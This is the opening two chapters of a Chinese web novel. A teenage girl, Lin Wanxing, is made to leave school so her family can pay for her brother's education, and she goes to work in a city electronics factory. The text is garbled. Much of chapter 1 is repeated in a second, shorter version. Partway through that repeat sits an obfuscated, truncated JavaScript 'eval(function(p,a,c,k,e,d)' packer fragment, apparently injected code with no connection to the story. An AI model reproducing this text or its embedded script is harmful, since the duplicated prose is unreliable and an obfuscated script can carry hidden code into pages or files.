《晚星升起时》 1. 第 1 章 六月的风卷着麦秸秆的燥热,混着泥土的腥气,钻进林家村低矮的土坯房,将灶台飘出的炊烟揉成细碎的纱雾。林晚星蹲在门槛上,指尖反复摩挲着口袋里那张皱巴巴的初中毕业证,硬壳封面被体温焐得发烫,边缘早已被她捏得发毛,每一道褶皱里都裹着未说出口的不甘。 屋里传来母亲王秀莲尖利的呵斥,像淬了火的针,扎得人耳朵发疼,还混着弟弟林博文撒泼似的哭闹。“哭什么哭!你姐今天就走了,往后没人跟你抢吃食、争地方,还不称心?”王秀莲的声音里满是惯有的不耐烦,话里话外都向着儿子,“我跟你说,你姐去城里电子厂打工,挣的钱全给你买新书包、买辅导资料,将来你可得考上大学,给咱家光宗耀祖!” 晚星垂下眼睫,长长的睫毛在眼下投出一小片黯淡的阴影。她刚满十六岁,三天前才攥着这张毕业证走出考场,还没来得及细细品味这份苦读换来的成果,就被父母泼了盆冷水——家里供不起她读高中了,让她跟着同村的张琪去南方青南市打工,挣钱供刚上初一的林博文读书。 她不是没有反抗过。那天夜里,她攥着毕业证冲进父母的房间,声音还带着未脱的稚气,却字字铿锵:“爸,妈,我想读高中,我能考上大学的,等我将来有出息了,一定好好养你们!” 父亲林建军蹲在炕沿边抽着旱烟,青灰色的烟圈裹着沉闷的气息散开,他抬手用烟袋杆敲了敲炕沿,语气不容置喙:“读什么读?女孩子家读再多书,迟早还不是要嫁去别人家?博文是咱家的根,他的书不能断,你就委屈委屈,先去打工贴补家用。” “可是我不甘心!”晚星的声音哽咽着,眼眶瞬间泛红,“我每天天不亮就爬起来背书,夜里守着煤油灯学到十二点,好不容易过了重点高中的线,你们凭什么不让我读?” 王秀莲从里屋快步走出来,伸手就狠狠拧住了她的胳膊,力道大得让晚星疼得浑身一缩,眉头拧成了疙瘩。“不甘心也得甘心!家里就这点家底,总不能都花在你身上。你是姐姐,让着弟弟天经地义!我告诉你,这事就这么定了,张琪她妈都帮你们联系好厂子了,包吃包住,一个月能挣两千多,比在家种几亩薄田强十倍!” 那天晚上,晚星躲在冰冷的土炕上,眼泪无声地浸透了枕巾,却没敢发出一点声响。她望着屋顶漏风的破洞,听着窗外聒噪的虫鸣,心里像被钝器反复碾过——她懂家里的窘迫,也清楚父母重男轻女的执念,可对读书的渴望,早已像藤蔓般缠满了她的心脏,她想走出这个困住了祖辈几代人的小山村。 “晚星!发什么呆呢?张琪都在村口老槐树下等你半天了!”王秀莲的声音从屋里传来,打断了晚星的思绪。她缓缓站起身,拍了拍裤子上的尘土,将那张毕业证小心翼翼地塞进贴身的衣袋,像是藏起了自己最后一点微光与希望。 屋里的地上放着一个洗得发白的帆布包,是母亲连夜帮她收拾的行李,里面只有几件打了补丁的换洗衣物,还有两个硬邦邦的贴饼子,是给她路上充饥的。晚星弯腰拎起帆布包,磨得变薄的包带勒得肩膀微微发疼,却不及心里的半分沉重。 林博文趴在门框上,嘴里叼着一根棒棒糖,圆溜溜的眼睛里满是得意,仰着头对她说:“姐,你去城里挣钱了,记得给我买变形金刚,还要买最新款的游戏机!”他今年十二岁,被父母宠得骄纵任性,从来没把这个处处让着他的姐姐放在眼里,只知道无休止地索取。 晚星看着弟弟稚嫩却自私的脸,心里一阵发酸,却还是轻轻点了点头:“知道了,姐给你买。”她不想再争执,也不想再辩解,事已至此,再多的反抗都只是徒劳,唯有把委屈咽进肚子里。 王秀莲跟在她身后,一边走一边反复叮嘱,语气里全是对儿子的牵挂,对女儿却只有冰冷的要求:“到了城里,好好干活,别偷懒耍滑,跟张琪互相照应着点。每个月发了工资,除了留够你自己的饭钱,其余的都寄回来,博文还等着用钱呢。”从头到尾,没有一句不舍,没有一丝叮嘱。 晚星没有回头,只是闷闷地应了一声:“嗯。”脚步不停,朝着村口的方向走去,仿佛身后不是生她养她的家,而是困住她梦想的牢笼。 村口的老槐树下,张琪已经背着背包等在那里了。她比晚星大一岁,去年就想外出打工,被父母拦了下来,今年总算得偿所愿。张琪穿着一件亮色的粉色T恤,搭配洗得笔挺的牛仔裤,扎着高高的马尾,脸上满是对城市生活的憧憬与向往。 看到晚星走过来,张琪立刻迎了上去,一把挽住她的胳膊,语气带着几分急切:“晚星,你可算来了,再晚一步,去镇上的拖拉机就要开了!”她低头瞥见晚星手里老旧的帆布包,又注意到她泛红的眼眶,心里瞬间明白了大半,轻声安慰道,“别难过了,咱们去城里好好干,等攒够了钱,你还可以继续读书,咱们的日子会好起来的。” 晚星靠在张琪的肩膀上,鼻尖一酸,积压了许久的情绪瞬间涌上心头,眼泪差点掉下来。在这个重男轻女的小册子里,只有张琪懂她的不甘心,懂她对读书的执念。两人从小一起长大,一起爬树摘野果,一起在田埂上背书刷题,是最好的闺蜜,也是彼此唯一的精神支撑。 “琪琪,我真的不想放弃读书。”晚星的声音带着抑制不住的哭腔,“我明明能考上高中的,我想考大学,想走出这个小山村,想过不一样的生活。” 张琪用力拍了拍她的后背,语气坚定又有力量:“我知道,我都知道。咱们先去城里打工,攒点本钱,等稳定下来,你就去上夜校,也可以自考,总有办法继续读书的。我陪着你,咱们一起努力,绝不认输。” 晚星用力点了点头,硬生生把眼泪憋了回去。张琪的话像一束光,穿透了她心里的灰暗。是啊,就算被迫辍学,就算身处泥泞,她也不能放弃自己,她要靠自己的努力,一点点挣脱命运的枷锁。 这时,远处传来拖拉机“突突突”的轰鸣声,是村里专门送外出打工的人去镇上车站的车。司机师傅探出头,朝着她们高声喊:“张琪,林晚星,快上车!再磨蹭,就赶不上去县城的大巴了!” 王秀莲上前把晚星往前推了推,语气依旧平淡:“快去吧,到了城里好好干活,记得常给家里打电话。”眼神里没有半分不舍,仿佛只是送走了一件无关紧要的东西。 晚星回头望了一眼,父母站在村口的土路上,弟弟还在低头啃着棒棒糖,没有一个人朝她挥手告别。这片生她养她的土地,给了她童年的懵懂与欢喜,却也困住了她的梦想,留给她的,只有无尽的遗憾与不甘。 “走吧,晚星。”张琪紧紧拉着她的手,带着她登上了拖拉机。拖拉机颠簸着行驶在坑坑洼洼的土路上,扬起漫天尘土,将林家村的轮廓一点点模糊,最后远远地抛在了身后。晚星趴在车窗边,看着熟悉的村庄渐渐变小,直到消失在视野里,眼泪终于忍不住滚落下来,砸在手背上,滚烫滚烫的。 拖拉机上还有几个同村的年轻人,都是要去城里打工的,大家围坐在一起有说有笑,兴奋地谈论着城里的繁华景象,对未来满是期待。只有晚星,沉默地靠在窗边,心里五味杂陈,有对家乡的不舍,有对未来的忐忑,更有对命运的不甘。 张琪坐在她身边,紧紧握着她的手,没有多说什么,只是用温暖的掌心传递着力量。她知道,晚星心里的苦,再多的安慰都显得苍白,唯有陪着她,才是最好的支撑。 拖拉机颠簸了一个多小时,才抵达镇上的车站。两人买了去县城的大巴票,坐在简陋的候车室里,静静等待着大巴车的到来。候车室里弥漫着汗水与泡面混合的味道,人来人往,大多是和她们一样背着行囊、奔赴远方的打工者,还有一些穿着校服、背着书包的学生,脸上满是青涩。 晚星的目光落在那些穿着校服的学生身上,心里泛起一阵酸涩的羡慕。如果不是家里的变故,她现在应该也穿着崭新的校服,准备去高中报到,开启崭新的学习生活。可如今,她却要背着简单的行李,去一个陌生的城市,在流水线上日复一日地重复枯燥的工作。 “别想了,晚星。”张琪递给她一个贴饼子,语气温柔,“先吃点东西,补充点体力,咱们还要坐好几个小时的车呢。等到了青南市,咱们先安顿下来,再去电子厂报到,一切都会慢慢好起来的。” 晚星接过贴饼子,咬了一口,干涩的面渣卡在喉咙里,难以下咽。她喝了一口凉水,才勉强咽下去,抬头看向张琪,语气里满是忐忑:“琪琪,你说我们在城里,真的能站稳脚跟吗?” “肯定能!”张琪用力点头,眼神格外坚定,“咱们都年轻,能吃苦,只要踏踏实实地干活,一定能攒够钱,实现自己的愿望。你不是想读书吗?等咱们稳定了,就去报夜校,我陪你一起读,咱们一起考大学,一起改变命运。” 晚星看着张琪坚定的眼神,心里渐渐生出一股力量。是啊,她不能就这么认输,就算身处底层,也要像野草一样,无论遇到多大的风雨,都要顽强地向上生长,拼尽全力活下去。 没过多久,去县城的大巴车就缓缓驶进了车站。两人拎着行李,小心翼翼地登上大巴车,找了两个靠窗的位置坐下。大巴车缓缓驶出车站,沿着蜿蜒的公路向前行驶,窗外的风景不断变换,从低矮的土坯房,到成片的稻田,再到远处错落有致的城镇,一切都充满了新鲜感,也藏着未知的可能。 晚星靠在车窗上,看着窗外飞速倒退的风景,指甲深深掐进掌心,在心里默念:青南市,我来了。我一定会在这里好好努力,挣够钱,继续读书,把命运攥在自己手里,再也不做任人摆布的棋子,再也不过这种身不由己的生活。 她伸手摸了摸贴身的衣袋,那张毕业证还安安稳稳地躺在那里,带着她的体温,像是在提醒她,不要忘记自己的初心,不要放弃心中的梦想。 大巴车行驶了三个多小时,才抵达县城的汽车站。两人来不及停歇,又换乘了去青南市的长途汽车。长途汽车上的人更多了,座位挤得满满当当,空气浑浊,弥漫着一股难闻的汗味与汽油味。晚星和张琪挤在后排的座位上,一路颠簸,浑身酸痛,却只能默默忍受。 路上,疲惫不堪的晚星渐渐睡着了。她做了一个甜美的梦,梦见自己穿着干净的高中校服,坐在明亮的教室里,听老师讲课,和同学们一起背书刷题,脸上洋溢着无忧无虑的笑容。可就在这时,父母突然出现在教室门口,一把将她从座位上拉了出来,逼着她去打工。她拼命反抗,却怎么也挣脱不开,最后在恐慌中从噩梦中惊醒。 “晚星,你怎么了?是不是做噩梦了?”张琪看到她满头大汗、脸色发白,连忙担忧地问,伸手帮她擦了擦额头上的汗水。 晚星摇了摇头,声音还有些发颤:“没事,就是做了个不好的梦。”她抬头看向窗外漆黑的夜空,心里一阵后怕。她真的很害怕,害怕自己再也没有机会回到课堂,害怕自己一辈子都被困在流水线上,永远无法挣脱底层的枷锁。 “别害怕,有我呢。”张琪紧紧握住她的手,掌心的温度驱散了她心里的寒意,“咱们一定能实现梦想的,相信我,也相信你自己。” 晚星点了点头,重新靠在张琪的肩膀上,缓缓闭上了眼睛。虽然前路未知,充满了坎坷与挑战,但只要有张琪在身边,只要她不放弃自己,就一定能走出一条属于自己的路。 长途汽车行驶了整整一夜,第二天清晨,终于抵达了青南市的汽车站。当两人跟着人流走出车站,看到眼前的景象时,都被深深震撼住了。 高耸入云的楼房鳞次栉比,车水马龙的街道上车辆川流不息,来来往往的人群步履匆匆,五颜六色的广告牌在阳光下格外醒目。这一切,都和宁静闭塞的小山村截然不同,充满了繁华与喧嚣,也充满了生机与希望。晚星站在路边,看着眼前的一切,既兴奋又忐忑——这就是她即将生活和奋斗的城市,这里有她的希望,也有她未知的未来。 “哇,青南市好大啊!”张琪兴奋地拉着晚星的手,眼睛里满是光芒,“咱们以后就要在这里生活了,太好啦!” 晚星看着张琪兴奋的样子,脸上也露出了久违的笑容。她深吸了一口气,空气中弥漫着城市特有的气息,有汽车尾气的味道,也有路边花香的味道。她知道,从这一刻起,她的人生将翻开崭新的篇章,过去的遗憾与不甘,都将成为她努力奋斗的动力。 张琪的妈妈早已提前帮她们联系好了电子厂,也跟工厂的负责人打过了招呼。两人按照张琪妈妈给的地址,乘坐公交车前往电子厂。公交车上挤满了人,大多是赶去上班的上班族,每个人都步履匆匆,为了生活在这座城市里奔波忙碌。 电子厂位于青南市的郊区,周围遍布着大大小小的工厂和出租屋,人来人往,十分热闹。两人来到电子厂门口,看到大门上贴着醒目的“招工”牌子,门口站着几个穿着蓝色工服的年轻人,正凑在一起闲聊。 张琪拉着晚星,快步走到门口的保安室,说明来意。保安给工厂的负责人打了个电话,过了一会儿,一个穿着蓝色工服、戴着工牌的中年女人走了出来,自称是车间的刘组长。 刘组长上下打量了她们一番,见两人眉眼清秀、看起来老实本分,便点了点头:“你们就是张琪和林晚星吧?张琪她妈跟我打过招呼了,跟我进来吧,我带你们去办入职手续,再给你们安排宿舍。” 两人跟着刘组长走进电子厂,工厂的规模很大,分为好几个车间,每个车间里都传来机器运转的轰鸣声,震得人耳朵发麻。车间里的工人都穿着统一的蓝色工服,坐在流水线前,埋头重复着熟练的动作,神情麻木而疲惫。 晚星看着眼前的景象,心里一阵紧张,手心微微出汗。她从来没有见过这么大的工厂,也从来没有做过流水线的工作,不知道自己能不能适应这里的节奏,能不能熬过这份枯燥与辛苦。 刘组长把她们带到行政办公室,让她们填写了入职表格,又给她们发了工服、工牌和宿舍钥匙。“你们两个分在同一个宿舍,六人间,都是咱们车间的工友。明天早上七点准时到车间报到,我会安排老员工带你们熟悉工作流程。”刘组长语气平淡地叮嘱道,带着常年管理工人的严肃。 “好的,谢谢刘组长。”两人异口同声地回答,小心翼翼地接过工服和钥匙。 刘组长又简单跟她们说了一下工厂的规章制度,比如不能迟到早退、不能擅自离岗等,随后便叫了一个年轻的女工,让她带两人去宿舍。宿舍在工厂的二楼,是一个狭小的房间,里面摆着三张上下铺的铁床,床上铺着简单的被褥,墙角堆着几个行李箱,显得十分拥挤。 “你们好,我叫李娟,也是这个宿舍的。”那个年轻的女工脸上挂着敷衍的笑容,眼神却带着一丝不易察觉的轻视,上下打量着晚星和张琪手里的旧帆布包,嫌弃之情毫不掩饰。 晚星和张琪连忙跟她打招呼,李娟却只是敷衍地应了一声,便转身坐在自己的床上,拿出手机玩了起来,再也没搭理她们,态度冷淡又傲慢。 张琪压低声音,小声对晚星说:“别理她,咱们收拾自己的东西就好。” 晚星点了点头,没有放在心上。她和张琪一起收拾行李,把衣物整齐地放进床头的柜子里,又小心翼翼地拿出那张初中毕业证,轻轻放在枕头底下。这张薄薄的纸片,是她的希望,也是她在迷茫中坚持下去的底气。 收拾完行李,两人坐在床边,望着窗外的天空。太阳已经升到了头顶,温暖的阳光透过窗户照进来,洒在地上,泛起淡淡的光晕。奔波了一路的疲惫,似乎被这暖意驱散了几分。 “晚星,咱们终于安定下来了。”张琪笑着说,眼里满是对未来的期许,“明天开始,咱们就要上班了,一起加油!” 晚星看着张琪,用力点头,眼神坚定而明亮:“嗯,一起加油!琪琪,我一定会在这里好好努力,等攒够了钱,就去上夜校,我一定要考上大学,一定要活出个人样来。” 她的眼神像黑夜里闪烁的星光,虽然微弱,却带着不容小觑的力量。她知道,未来的路还很长,会遇到很多困难和挫折,会经历无数的疲惫与委屈,但她绝不会退缩,绝不会放弃。她要像夜空中的星星一样,在黑暗中努力发光,一点点照亮自己的逆袭之路。 窗外的风轻轻吹进来,带着夏日的燥热,也带着对未来的期许。晚星深吸一口气,挺直了脊背,做好了迎接一切挑战的准备。青南市的第一天,就这样平静地拉开了序幕,而她的逆袭之路,也从这一刻起,正式启程。 屋里传来母亲王秀莲尖利的呵斥声,混着弟弟林博文的哭闹,像针一样扎进她的耳朵里。“哭什么哭!你姐今天就走了,以后没人跟你抢东西了,还不满意?”王秀莲的声音带着惯有的不耐烦,“我跟你说,你姐去城里打工,挣的钱全给你买新书包、买辅导资料,将来你可得考上大学,给咱家光宗耀祖!” 晚星垂下眼睫,长长的睫毛在眼下投出一小片阴影。她刚满十六岁,三天前拿到初中毕业证,还没来得及细细品味这份努力换来的成果,就被父母告知,家里供不起她继续读书了,让她跟着同村的张琪去南方的青南市打工,挣钱供刚上初一的林博文读书。 她不是没有反抗过。那天晚上,她攥着毕业证闯进父母的房间,声音带着未脱的稚气,却字字坚定:“爸,妈,我想读高中,我能考上大学的,将来我挣钱养你们!” 父亲林建军蹲在炕沿边抽着旱烟,烟袋杆敲了敲炕沿,沉声道:“读什么读?女孩子家读那么多书有什么用?迟早还不是要嫁人?博文是咱家的根,他的书不能停,你就委屈委屈,先去打工。” “可是我不甘心!”晚星的声音哽咽了,“我每天五点就起来背书,晚上学到十二点,我好不容易考上重点高中的分数线,你们为什么不让我读?” 王秀莲从里屋走出来,伸手就拧住了她的胳膊,力道大得让晚星疼得皱起眉。“不甘心也得甘心!家里就这点钱,总不能都花在你身上。你是姐姐,让着弟弟天经地义!我告诉你,这事就这么定了,张琪她妈都帮你们联系好电子厂了,包吃包住,一个月能挣两千多,比在家种地强多了!” 那天晚上,晚星躲在冰冷的土炕上哭了一夜。她看着屋顶漏风的破洞,听着窗外虫鸣,心里像被掏空了一块。她知道家里穷,也知道父母重男轻女的心思,可她真的想读书,想走出这个困住了祖辈几代人的小山村。 “晚星!你发什么呆呢?张琪都在村口等你了!”王秀莲的声音从屋里传来,打断了晚星的思绪。她站起身,拍了拍裤子上的灰尘,把毕业证小心翼翼地塞进贴身的衣袋里,像是藏起了最后一点希望。 屋里的地上放着一个洗得发白的帆布包,是母亲连夜帮她收拾的行李,里面只有几件换洗衣物,还有两个贴饼子,是给她路上吃的。晚星弯腰拎起帆布包,包带已经磨得变薄,勒得她的肩膀微微发疼。 林博文趴在门框上,嘴里叼着一根棒棒糖,得意地看着她:“姐,你要去城里挣钱了,记得给我买变形金刚,还要买新的游戏机!”他今年十二岁,被父母宠得骄纵任性,从来没有把这个姐姐放在眼里,只知道无休止地向她索取。 晚星看着弟弟稚嫩却自私的脸,心里一阵发酸,却还是点了点头:“知道了,姐给你买。”她不想再跟弟弟争执,也不想再跟父母辩解,事已至此,再多的反抗都是徒劳。 王秀莲跟在她身后,一边走一边叮嘱:“到了城里,好好干活,别偷懒,跟张琪互相照应着点。每个月发了工资,除了留够你自己的生活费,其余的都寄回来,博文还等着用钱呢。”她的语气里全是对儿子的牵挂,对女儿却只有要求,没有一丝不舍。 晚星没有回头,只是闷闷地应了一声:“嗯。” 村口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晚星回头看了一眼,父母站在村口,弟弟还在啃着棒棒糖,没有一个人向她挥手告别。这片生她养她的土地,给了她童年的记忆,却也困住了她的梦想,留给她的只有无尽的遗憾和不甘。 “走吧,晚星。”张琪拉着她的手,登上了拖拉机。拖拉机颠簸着驶在土路上,扬起漫天的尘土,把林家村远远地抛在了身后。晚星趴在车窗边,看着熟悉的村庄一点点变小,直到消失在视野里,眼泪终于忍不住掉了下来。 拖拉机上还有几个同村的年轻人,都是去城里打工的,大家有说有笑,谈论着城里的繁华,对未来充满了期待。只有晚星,沉默地靠在窗边,心里五味杂陈。 张琪坐在她身边,紧紧握着她的手,没有说话,只是用眼神给她鼓励。她知道,晚星心里不好受,再多的安慰,都不如陪在她身边。 拖拉机行驶了一个多小时,才到达镇上的车站。两人买了去县城的大巴票,坐在候车室里,等着大巴车的到来。候车室里弥漫着汗水和泡面的味道,人来人往,大多是像她们一样外出打工的年轻人,还有一些背着行囊的学生。 晚星看着那些穿着校服的学生,心里一阵羡慕。如果不是家里的情况,她现在应该也穿着校服,准备去高中报到,开启新的学习生活。可现在,她却要背着简单的行李,去一个陌生的城市,在流水线上日复一日地打工。 “别想了,晚星。”张琪递给她一个贴饼子,“先吃点东西,补充点体力,咱们还要坐好几个小时的车呢。等到了青南市,咱们先找个地方住下来,然后去电子厂报到,一切都会好起来的。” 晚星接过贴饼子,咬了一口,干涩的面渣卡在喉咙里,难以下咽。她喝了一口水,才慢慢咽下去。“琪琪,你说我们在城里能站稳脚跟吗?”她不确定地问,心里充满了忐忑。 “肯定能!”张琪用力点头,“咱们都年轻,能吃苦,只要好好干活,一定能攒够钱,实现自己的愿望。你不是想读书吗?等咱们稳定了,就去报夜校,我陪你一起读,咱们一起考大学。” 晚星看着张琪坚定的眼神,心里渐渐有了力量。是啊,她不能就这么认输,就算身处底层,她也要努力向上生长,像野草一样,无论遇到多大的风雨,都要顽强地活下去。 很快,去县城的大巴车来了。两人拎着行李,登上了大巴车,找了两个靠窗的位置坐下。大巴车缓缓驶出车站,沿着蜿蜒的公路向前行驶。窗外的风景不断变换,从低矮的土坯房,到成片的稻田,再到远处的城镇,一切都充满了新鲜感。 晚星靠在车窗上,看着窗外飞速倒退的风景,心里暗暗下定决心:青南市,我来了。我一定会在这里好好努力,挣够钱,继续读书,改变自己的命运,再也不要被原生家庭束缚,再也不要过这种身不由己的生活。 她伸手摸了摸贴身的衣袋,毕业证还安安稳稳地躺在那里,像是在提醒她,不要忘记自己的初心,不要放弃自己的梦想。 大巴车行驶了三个多小时,才到达县城的汽车站。两人又换乘了去青南市的长途汽车,长途汽车上的人更多了,空气浑浊,弥漫着一股难闻的气味。晚星和张琪挤在后排的座位上,一路颠簸,浑身酸痛。 路上,晚星睡着了。她做了一个梦,梦见自己穿着高中的校服,坐在明亮的教室里,听老师讲课,和同学们一起背书,脸上洋溢着幸福的笑容。可就在这时,父母突然出现,把她从教室里拉了出来,逼着她去打工,她拼命反抗,却怎么也挣脱不开,最后从噩梦中惊醒。 “晚星,你怎么了?是不是做噩梦了?”张琪看到她满头大汗,担忧地问。 晚星擦了擦额头上的汗水,摇了摇头:“没事,就是做了个不好的梦。”她看着窗外漆黑的夜空,心里一阵后怕。她真的很害怕,害怕自己再也没有机会回到课堂,害怕自己一辈子都被困在流水线上。 “别害怕,有我呢。”张琪握住她的手,温柔地说,“咱们一定能实现梦想的,相信我。” 晚星点了点头,靠在张琪的肩膀上,重新闭上了眼睛。虽然前路未知,充满了坎坷,但只要有张琪在身边,只要她不放弃自己,就一定能走出一条属于自己的路。 长途汽车行驶了整整一夜,第二天清晨,终于到达了青南市的汽车站。当两人走出汽车站,看到眼前的景象时,都被震撼住了。 高耸入云的楼房,车水马龙的街道,来来往往的人群,五颜六色的广告牌,一切都和小山村截然不同,充满了繁华与喧嚣。晚星站在路边,看着眼前的一切,既兴奋又忐忑。这就是她即将生活和奋斗的城市,这里有她的希望,也有她未知的未来。 “哇,青南市好大啊!”张琪兴奋地拉着晚星的手,“咱们以后就要在这里生活了,太好啦!” 晚星看着张琪兴奋的样子,脸上也露出了久违的笑容。她深吸了一口气,空气中弥漫着城市的气息,有汽车尾气的味道,也有花香的味道。她知道,从这一刻起,她的人生将翻开新的篇章。 张琪的妈妈已经提前帮她们联系好了电子厂,也跟工厂的负责人打过招呼了。两人按照张琪妈妈给的地址,乘坐公交车,前往电子厂。公交车上的人很多,大多是上班族,每个人都步履匆匆,为了生活而奔波。 电子厂位于青南市的郊区,周围都是工厂和出租屋,人来人往,十分热闹。两人来到电子厂门口,看到大门上贴着“招工”的牌子,门口站着几个穿着工服的年轻人,正在闲聊。 张琪拉着晚星,走到门口的保安室,说明来意。保安给工厂的负责人打了个电话,过了一会儿,一个穿着蓝色工服的中年女人走了出来,自称是车间的组长,姓刘。 刘组长上下打量了她们一番,点了点头:“你们就是张琪和林晚星吧?张琪她妈跟我打过招呼了,跟我进来吧,我带你们去办理入职手续,再给你们安排宿舍。” 两人跟着刘组长走进电子厂,工厂很大,分为几个车间,每个车间里都传来机器运转的轰鸣声。车间里的工人都穿着统一的工服,坐在流水线前,埋头工作,动作熟练而迅速。 晚星看着眼前的景象,心里一阵紧张。她从来没有见过这么大的工厂,也从来没有做过流水线的工作,不知道自己能不能适应这里的生活。 刘组长把她们带到行政办公室,让她们填写了入职表格,又给她们发了工服、工牌和宿舍钥匙。“你们两个被分在同一个宿舍,宿舍是六人间,都是咱们车间的工友。明天早上七点准时到车间报到,我会安排人带你们熟悉工作流程。”刘组长叮嘱道。 “好的,谢谢刘组长。”两人异口同声地说。 刘组长又简单跟她们说了一下工厂的规章制度,然后就让一个年轻的女工带她们去宿舍。宿舍在工厂的二楼,是一个狭小的房间,里面放着三张上下铺的铁床,床上铺着简单的被褥,墙角堆着几个行李箱,显得十分拥挤。 “你们好,我叫李娟,也是这个宿舍的。”那个年轻的女工笑着说,脸上却带着一丝不易察觉的轻视,上下打量着晚星和张琪手里的帆布包,眼神里充满了嫌弃。 晚星和张琪连忙跟她打招呼,李娟却只是敷衍地应了一声,就转身坐在自己的床上,拿出手机玩了起来,不再搭理她们。 张琪小声地对晚星说:“别理她,咱们收拾东西吧。” 晚星点了点头,和张琪一起收拾自己的行李。她把自己的衣物整齐地放在床头的柜子里,又把那张初中毕业证拿出来,小心翼翼地放在枕头底下。这是她的希望,也是她坚持下去的动力。 收拾完行李,两人坐在床上,看着窗外的天空。太阳已经升到了头顶,阳光透过窗户照进来,洒在地上,暖洋洋的。 “晚星,咱们终于安定下来了。”张琪笑着说,“明天开始,咱们就要上班了,一起加油!” 晚星看着张琪,用力点头:“嗯,一起加油!琪琪,我一定会在这里好好努力,等攒够了钱,就去上夜校,我一定要考上大学。” 她的眼神明亮,像是黑夜里的星星,虽然微弱,却充满了力量。 2. 第 2 章 天刚蒙蒙亮,窗外的蝉鸣就扯着嗓子划破了清晨的静谧,把林晚星从浅眠中唤醒。宿舍里的空气闷热又浑浊,混合着汗液与廉价洗衣粉的味道,另外四张床位的工友已经忙着穿衣洗漱,脚步声、说话声、水盆碰撞声交织在一起,透着流水线工人特有的匆忙。 “晚星,快起!再磨蹭要迟到了,刘组长说第一天迟到要扣工资的!”张琪一边快速套着蓝色工服,一边伸手推了推还靠在枕头上的晚星,语气里满是急切。工服的布料粗糙坚硬,贴在皮肤上有些刺痒,领口的纽扣还生着些许锈迹,是前人穿过留下的痕迹。 晚星猛地回过神,瞬间驱散了残留的睡意,翻身下床时不小心撞到了床架,发出“咚”的一声轻响。她顾不上揉疼的膝盖,抓起枕边叠好的工服快速换上,又摸了摸枕头底下的初中毕业证——纸张被体温焐得温热,像是一份无声的鼓励,让她在陌生的窘迫里多了几分底气。 宿舍的洗漱台只有两个水龙头,六个工友挤在一起轮流使用,水流细小得像细线,半天也接不满一盆水。李娟站在其中一个水龙头前,慢悠悠地搓着毛巾,眼角的余光瞥见晚星和张琪过来,故意把身子往中间挪了挪,霸占了大半空间,语气带着几分讥讽:“新来的就是不懂规矩,不知道早起占位置吗?再耽误下去,小心被刘组长骂哭。” 张琪顿时皱起了眉,正要上前理论,被晚星轻轻拉了拉胳膊。晚星摇了摇头,压下心里的不适,低声说:“算了,别跟她争,咱们快些洗漱,别真迟到了。”她知道初来乍到,多一事不如少一事,更何况她们还要在这个宿舍住很久,没必要刚一开始就把关系闹僵。 张琪不甘心地咬了咬唇,最终还是忍了下来,和晚星一起等在旁边。直到李娟慢悠悠地洗漱完,甩着手上的水珠扬长而去,两人才匆匆接水洗脸刷牙,连头发都来不及仔细梳理,就攥着工牌往车间跑。 车间门口已经站了不少工人,都穿着统一的蓝色工服,低着头窃窃私语,脸上带着对新一天劳作的倦怠。刘组长手里拿着一个登记本,脸色严肃地站在最前面,看到晚星和张琪跑过来,眼神沉了沉:“最后两个到的,下次再晚一秒钟,直接按迟到处理。赶紧进去,找李娟领工位,她带你们熟悉操作。” 两人连忙应了声“好”,快步走进车间。刚一进门,机器运转的轰鸣声就震得人耳朵发疼,空气里弥漫着机油和塑料的刺鼻气味,几十台流水线机器整齐排列,工人们坐在各自的工位上,双手飞快地重复着相同的动作,神情麻木而机械,像是被设定好程序的木偶。 李娟早已坐在自己的工位上,手里拿着一个小小的塑料零件,漫不经心地组装着。看到晚星和张琪走过来,她抬了抬眼皮,语气冷淡:“刘组长发话了让我带你们,跟我来吧。”说着,她领着两人走到流水线末尾的两个空位上,指了指桌上堆积如山的塑料零件和组装图纸,“你们就做这个,把零件按图纸拼好,放进传送带给下一道工序,一天要完成两百个,少一个扣五块钱。” 晚星低头看向桌上的零件,小小的塑料块棱角锋利,图纸上的步骤密密麻麻,标注得十分简略,对于从未接触过组装工作的她来说,无疑是个难题。她拿起一个零件,又对照着图纸看了半天,还是不知道该从哪里下手,只好小声问李娟:“李姐,这个零件要怎么卡进去啊?图纸上的标注我看不太懂。” 李娟头也没抬,手上的动作依旧飞快,语气里满是不耐烦:“这么简单都看不懂?眼睛长来干什么用的?自己琢磨去,我可没时间手把手教你们,耽误了我的产量谁负责?”她说着,故意把手里组装好的零件往桌上一放,发出“啪”的一声,像是在发泄不满。 张琪见状,忍不住说道:“李姐,我们是第一天来,什么都不会,你就稍微指点一下怎么了?大家都是工友,互相帮个忙不是应该的吗?” “帮忙?”李娟终于抬起头,脸上露出讥讽的笑,“我凭什么帮你们?我又不是你们的老师。再说了,能力不行就别来工厂打工,回家当大小姐不好吗?”她的声音不算小,周围几个工位的工人都看了过来,眼神里带着好奇和看热闹的意味,让晚星和张琪浑身不自在。 晚星拉了拉张琪的胳膊,示意她别再说了,然后深吸一口气,拿起零件重新对着图纸研究。她不想因为这点小事就和李娟闹得不可开交,更不想被别人看笑话——她知道,在这里,只有尽快掌握技能,才能站稳脚跟。 张琪气得咬了咬牙,却还是听了晚星的话,低头研究零件。两人对着图纸琢磨了十几分钟,还是没能摸透组装技巧,流水线传送带上的零件越堆越多,像是一座小山,压得两人心里发慌。 就在这时,刘组长拿着一个文件夹走了过来,看到两人工位上堆积的零件,脸色瞬间沉了下来:“你们怎么回事?都过去这么久了,一个都没组装好?是不会做还是故意偷懒?” 李娟立刻停下手里的活,抢先说道:“刘组长,我都跟她们说过怎么弄了,可她们就是学不会,笨手笨脚的,耽误了流水线的进度。”她恶人先告状,语气里满是无辜,眼神却得意地瞥了晚星和张琪一眼。 “我们没有!”张琪急忙辩解,“她根本就没教我们,让我们自己琢磨,我们实在看不懂图纸!” “我没教?”李娟立刻拔高了声音,“我明明把步骤都说清楚了,是你们自己理解能力差,还反过来冤枉我?早知道你们这么难带,我就不该答应带你们!” 两人各执一词,吵得不可开交。晚星看着刘组长越来越阴沉的脸,知道争辩下去也没用,只会让事情更糟。她拉了拉张琪,对着刘组长低下头:“刘组长,对不起,是我们学得太慢了,耽误了进度。您再给我们一点时间,我们一定会尽快学会的,不会再拖后腿了。” 